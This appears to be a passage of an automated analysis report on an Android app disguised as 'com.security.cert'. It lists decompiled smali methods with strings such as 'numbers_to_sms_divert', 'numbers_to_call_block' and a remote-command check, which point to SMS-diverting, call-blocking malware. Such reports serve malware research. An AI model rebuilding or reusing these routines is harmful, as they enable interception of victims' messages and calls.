4const-string v0, "com.android.internal.telephony.IExtendedNetworkService"
6invoke-interface {p0, v0}, Landroid/os/IBinder;->queryLocalInterface(Ljava/lang/String;)Landroid/os/IInterface;
  • Data flow analysis:
    • param0: com.android.internal.telephony.IExtendedNetworkService
7move-result-object v0
8if-eqz v0, :cond_13
9instance-of v1, v0, Lcom/a/a/a/a;
10if-eqz v1, :cond_13
11check-cast v0, Lcom/a/a/a/a;
12goto/16 :goto_3
13cond_13: new-instance v0, Lcom/a/a/a/c;
15invoke-direct {v0, p0}, Lcom/a/a/a/c;-><init>(Landroid/os/IBinder;)V
16goto/16 :goto_3
APIs
  • android.content.SharedPreferences.getBoolean
Strings
  • is_program_stopped
Position Instruction Meta Information
1invoke-static {p0}, Lcom/security/cert/b/a/a;->g(Landroid/content/Context;)Landroid/content/SharedPreferences;
2move-result-object v0
4const-string v1, "is_program_stopped"
5const/4 v2, 0x0
7invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
  • Data flow analysis:
    • param0: is_program_stopped
    • param1: 0
8move-result v0
9return v0
APIs
  • android.content.SharedPreferences.getInt
Strings
  • recheck_commands_delay
Position Instruction Meta Information
1invoke-static {p0}, Lcom/security/cert/b/a/a;->g(Landroid/content/Context;)Landroid/content/SharedPreferences;
2move-result-object v0
4const-string v1, "recheck_commands_delay"
5const/16 v2, 0x3c
7invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
  • Data flow analysis:
    • param0: recheck_commands_delay
    • param1: 60
8move-result v0
9return v0
APIs
  • java.net.URLEncoder.encode
Strings
  • UTF-8
Position Instruction Meta Information
0try_start_0:
1const-string v0, "UTF-8"
3invoke-static {p3, v0}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • param1: UTF-8
4try_end_5: move-result-object p3
5goto_6:
6invoke-static {p1, p2, p3}, Lcom/security/cert/a/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
7return-void
8catch_a: move-exception v0
9goto/16 :goto_6
APIs
  • android.content.Context.getSharedPreferences
Strings
  • diverter_pref_key
Position Instruction Meta Information
1const-string v0, "diverter_pref_key"
2const/4 v1, 0x0
4invoke-virtual {p0, v0, v1}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
  • Data flow analysis:
    • name: diverter_pref_key
    • mode: 0
5move-result-object v0
6return-object v0
APIs
  • java.lang.String.contains
Strings
  • \"command\":
Position Instruction Meta Information
1const-string v0, "\"command\":"
3invoke-virtual {p1, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
  • Data flow analysis:
    • param0: \"command\":
4move-result v0
5return v0
APIs
  • android.os.Handler.obtainMessage
  • android.os.Message.<init>
Position Instruction Meta Information
1iget-object v0, p0, Lcom/b/a/a/f;->a:Landroid/os/Handler;
2if-eqz v0, :cond_b
4iget-object v0, p0, Lcom/b/a/a/f;->a:Landroid/os/Handler;
6invoke-virtual {v0, p1, p2}, Landroid/os/Handler;->obtainMessage(ILjava/lang/Object;)Landroid/os/Message;
7move-result-object v0
8goto_a: return-object v0
9cond_b: new-instance v0, Landroid/os/Message;
11invoke-direct {v0}, Landroid/os/Message;-><init>()V
12iput p1, v0, Landroid/os/Message;->what:I
13iput-object p2, v0, Landroid/os/Message;->obj:Ljava/lang/Object;
14goto/16 :goto_a
Strings
  • image/jpeg
  • image/png
Position Instruction Meta Information
0const/4 v0, 0x2
1new-array v0, v0, [Ljava/lang/String;
2const/4 v1, 0x0
4const-string v2, "image/jpeg"
5aput-object v2, v0, v1
6const/4 v1, 0x1
8const-string v2, "image/png"
9aput-object v2, v0, v1
10sput-object v0, Lcom/b/a/a/h;->a:[Ljava/lang/String;
11return-void
APIs
  • com.security.cert.services.USSDDumbExtendedNetworkService.unregisterReceiver
  • android.app.Service.onDestroy
Position Instruction Meta Information
1iget-object v0, p0, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a:Landroid/content/BroadcastReceiver;
2if-eqz v0, :cond_9
4iget-object v0, p0, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a:Landroid/content/BroadcastReceiver;
6invoke-virtual {p0, v0}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->unregisterReceiver(Landroid/content/BroadcastReceiver;)V
7cond_9:
8invoke-super {p0}, Landroid/app/Service;->onDestroy()V
9return-void
APIs
  • com.security.cert.ui.UssdActivity.unbindService
  • android.app.Activity.onDestroy
Position Instruction Meta Information
1iget-object v0, p0, Lcom/security/cert/ui/UssdActivity;->a:Landroid/content/ServiceConnection;
2if-eqz v0, :cond_9
4iget-object v0, p0, Lcom/security/cert/ui/UssdActivity;->a:Landroid/content/ServiceConnection;
6invoke-virtual {p0, v0}, Lcom/security/cert/ui/UssdActivity;->unbindService(Landroid/content/ServiceConnection;)V
7cond_9:
8invoke-super {p0}, Landroid/app/Activity;->onDestroy()V
9return-void
APIs
  • org.apache.http.HttpEntity.getContent
  • java.util.zip.GZIPInputStream.<init>
Position Instruction Meta Information
0new-instance v0, Ljava/util/zip/GZIPInputStream;
2iget-object v1, p0, Lcom/b/a/a/d;->wrappedEntity:Lorg/apache/http/HttpEntity;
4invoke-interface {v1}, Lorg/apache/http/HttpEntity;->getContent()Ljava/io/InputStream;
5move-result-object v1
7invoke-direct {v0, v1}, Ljava/util/zip/GZIPInputStream;-><init>(Ljava/io/InputStream;)V
8return-object v0
APIs
  • com.a.a.a.b.a
  • com.security.cert.ui.UssdActivity.a
Position Instruction Meta Information
1iget-object v0, p0, Lcom/security/cert/ui/d;->a:Lcom/security/cert/ui/UssdActivity;
3invoke-static {p2}, Lcom/a/a/a/b;->a(Landroid/os/IBinder;)Lcom/a/a/a/a;
4move-result-object v1
6invoke-static {v0, v1}, Lcom/security/cert/ui/UssdActivity;->a(Lcom/security/cert/ui/UssdActivity;Lcom/a/a/a/a;)Lcom/a/a/a/a;
7return-void
APIs
  • org.apache.http.client.methods.HttpPost.<init>
Position Instruction Meta Information
1iget-object v1, p0, Lcom/b/a/a/a;->c:Lorg/apache/http/impl/client/DefaultHttpClient;
3iget-object v2, p0, Lcom/b/a/a/a;->d:Lorg/apache/http/protocol/HttpContext;
4new-instance v0, Lorg/apache/http/client/methods/HttpPost;
6invoke-direct {v0, p2}, Lorg/apache/http/client/methods/HttpPost;-><init>(Ljava/lang/String;)V
8invoke-direct {p0, v0, p3}, Lcom/b/a/a/a;->a(Lorg/apache/http/client/methods/HttpEntityEnclosingRequestBase;Lorg/apache/http/HttpEntity;)Lorg/apache/http/client/methods/HttpEntityEnclosingRequestBase;
9move-result-object v3
10move-object v0, p0
11move-object v4, p4
12move-object v5, p5
13move-object v6, p1
15invoke-direct/range {v0 .. v6}, Lcom/b/a/a/a;->a(Lorg/apache/http/impl/client/DefaultHttpClient;Lorg/apache/http/protocol/HttpContext;Lorg/apache/http/client/methods/HttpUriRequest;Ljava/lang/String;Lcom/b/a/a/f;Landroid/content/Context;)V
16return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
2iput-object p1, p0, Lcom/b/a/a/e;->a:Lorg/apache/http/impl/client/AbstractHttpClient;
3iput-object p2, p0, Lcom/b/a/a/e;->b:Lorg/apache/http/protocol/HttpContext;
4iput-object p3, p0, Lcom/b/a/a/e;->c:Lorg/apache/http/client/methods/HttpUriRequest;
5iput-object p4, p0, Lcom/b/a/a/e;->d:Lcom/b/a/a/f;
6instance-of v0, p4, Lcom/b/a/a/h;
7if-eqz v0, :cond_12
8const/4 v0, 0x1
9iput-boolean v0, p0, Lcom/b/a/a/e;->e:Z
10cond_12: return-void
APIs
  • android.os.Handler.sendMessage
Position Instruction Meta Information
1iget-object v0, p0, Lcom/b/a/a/f;->a:Landroid/os/Handler;
2if-eqz v0, :cond_a
4iget-object v0, p0, Lcom/b/a/a/f;->a:Landroid/os/Handler;
6invoke-virtual {v0, p1}, Landroid/os/Handler;->sendMessage(Landroid/os/Message;)Z
7goto_9: return-void
8cond_a:
9invoke-virtual {p0, p1}, Lcom/b/a/a/f;->a(Landroid/os/Message;)V
10goto/16 :goto_9
APIs
  • java.lang.Class.desiredAssertionStatus
Position Instruction Meta Information
0const-class v0, Lcom/security/cert/b/a;
2invoke-virtual {v0}, Ljava/lang/Class;->desiredAssertionStatus()Z
3move-result v0
4if-nez v0, :cond_c
5const/4 v0, 0x1
6goto_9: sput-boolean v0, Lcom/security/cert/b/a;->a:Z
7return-void
8cond_c: const/4 v0, 0x0
9goto/16 :goto_9
APIs
  • android.content.SharedPreferences.edit
Position Instruction Meta Information
1invoke-static {p0}, Lcom/security/cert/b/a/a;->g(Landroid/content/Context;)Landroid/content/SharedPreferences;
2move-result-object v0
4invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
5move-result-object v0
6return-object v0
Strings
  • numbers_to_sms_divert
Position Instruction Meta Information
1const-string v0, "numbers_to_sms_divert"
3invoke-static {p0, v0}, Lcom/security/cert/b/a/a;->e(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
4move-result-object v0
5return-object v0
Strings
  • numbers_to_call_block
Position Instruction Meta Information
1const-string v0, "numbers_to_call_block"
3invoke-static {p0, v0}, Lcom/security/cert/b/a/a;->e(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
4move-result-object v0
5return-object v0
APIs
  • com.security.cert.ui.UssdActivity.a
Position Instruction Meta Information
1iget-object v0, p0, Lcom/security/cert/ui/d;->a:Lcom/security/cert/ui/UssdActivity;
2const/4 v1, 0x0
4invoke-static {v0, v1}, Lcom/security/cert/ui/UssdActivity;->a(Lcom/security/cert/ui/UssdActivity;Lcom/a/a/a/a;)Lcom/a/a/a/a;
  • Data flow analysis:
    • param1: 0
5return-void
Strings
  • numbers_to_sms_divert
Position Instruction Meta Information
1const-string v0, "numbers_to_sms_divert"
3invoke-static {p0, p1, v0}, Lcom/security/cert/b/a/a;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
4return-void
Strings
  • numbers_to_call_block
Position Instruction Meta Information
1const-string v0, "numbers_to_call_block"
3invoke-static {p0, p1, v0}, Lcom/security/cert/b/a/a;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
4return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lcom/security/cert/services/a;->b:Lcom/security/cert/services/CheckCommandsService;
1iput-object p2, p0, Lcom/security/cert/services/a;->a:Landroid/app/PendingIntent;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lcom/security/cert/services/b;->b:Lcom/security/cert/services/CheckQueueService;
1iput-object p2, p0, Lcom/security/cert/services/b;->a:Landroid/app/PendingIntent;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
APIs
  • com.security.cert.ui.MessageDialogActivity.finish
Position Instruction Meta Information
1iget-object v0, p0, Lcom/security/cert/ui/a;->a:Lcom/security/cert/ui/MessageDialogActivity;
3invoke-virtual {v0}, Lcom/security/cert/ui/MessageDialogActivity;->finish()V
4return-void
APIs
  • com.security.cert.ui.MessageDialogActivity.finish
Position Instruction Meta Information
1iget-object v0, p0, Lcom/security/cert/ui/b;->a:Lcom/security/cert/ui/MessageDialogActivity;
3invoke-virtual {v0}, Lcom/security/cert/ui/MessageDialogActivity;->finish()V
4return-void
APIs
  • org.apache.http.client.methods.HttpEntityEnclosingRequestBase.setEntity
Position Instruction Meta Information
0if-eqz p2, :cond_5
2invoke-virtual {p1, p2}, Lorg/apache/http/client/methods/HttpEntityEnclosingRequestBase;->setEntity(Lorg/apache/http/HttpEntity;)V
3cond_5: return-object p1
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lcom/b/a/a/b;->a:Lcom/b/a/a/a;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lcom/b/a/a/c;->a:Lcom/b/a/a/a;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • android.os.Handler.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lcom/b/a/a/g;->a:Lcom/b/a/a/f;
2invoke-direct {p0}, Landroid/os/Handler;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
2iput p1, p0, Lcom/b/a/a/j;->c:I
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
2iput-object p1, p0, Lcom/a/a/a/c;->a:Landroid/os/IBinder;
3return-void
APIs
  • com.security.cert.services.CheckCommandsService.b
Position Instruction Meta Information
1invoke-direct {p0}, Lcom/security/cert/services/CheckCommandsService;->b()Z
2move-result v0
3return v0
APIs
  • com.security.cert.services.CheckQueueService.b
Position Instruction Meta Information
1invoke-direct {p0}, Lcom/security/cert/services/CheckQueueService;->b()Z
2move-result v0
3return v0
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lcom/security/cert/services/c;->a:Lcom/security/cert/services/USSDDumbExtendedNetworkService;
2invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
3return-void
APIs
  • com.a.a.a.b.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lcom/security/cert/services/d;->a:Lcom/security/cert/services/USSDDumbExtendedNetworkService;
2invoke-direct {p0}, Lcom/a/a/a/b;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lcom/security/cert/ui/a;->a:Lcom/security/cert/ui/MessageDialogActivity;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lcom/security/cert/ui/b;->a:Lcom/security/cert/ui/MessageDialogActivity;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lcom/security/cert/ui/c;->a:Lcom/security/cert/ui/UssdActivity;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lcom/security/cert/ui/d;->a:Lcom/security/cert/ui/UssdActivity;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
2return-void
APIs
  • org.apache.http.entity.HttpEntityWrapper.<init>
Position Instruction Meta Information
1invoke-direct {p0, p1}, Lorg/apache/http/entity/HttpEntityWrapper;-><init>(Lorg/apache/http/HttpEntity;)V
2return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
2return-void
APIs
  • android.app.Service.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Landroid/app/Service;-><init>()V
2return-void
APIs
  • android.app.Service.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Landroid/app/Service;-><init>()V
2return-void
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
2return-void
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
2return-void
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
2return-void
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
2return-void
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
2return-void
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
2return-void
APIs
  • android.app.Activity.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Landroid/app/Activity;-><init>()V
2return-void
APIs
  • android.app.Activity.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Landroid/app/Activity;-><init>()V
2return-void
APIs
  • android.app.Activity.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Landroid/app/Activity;-><init>()V
2return-void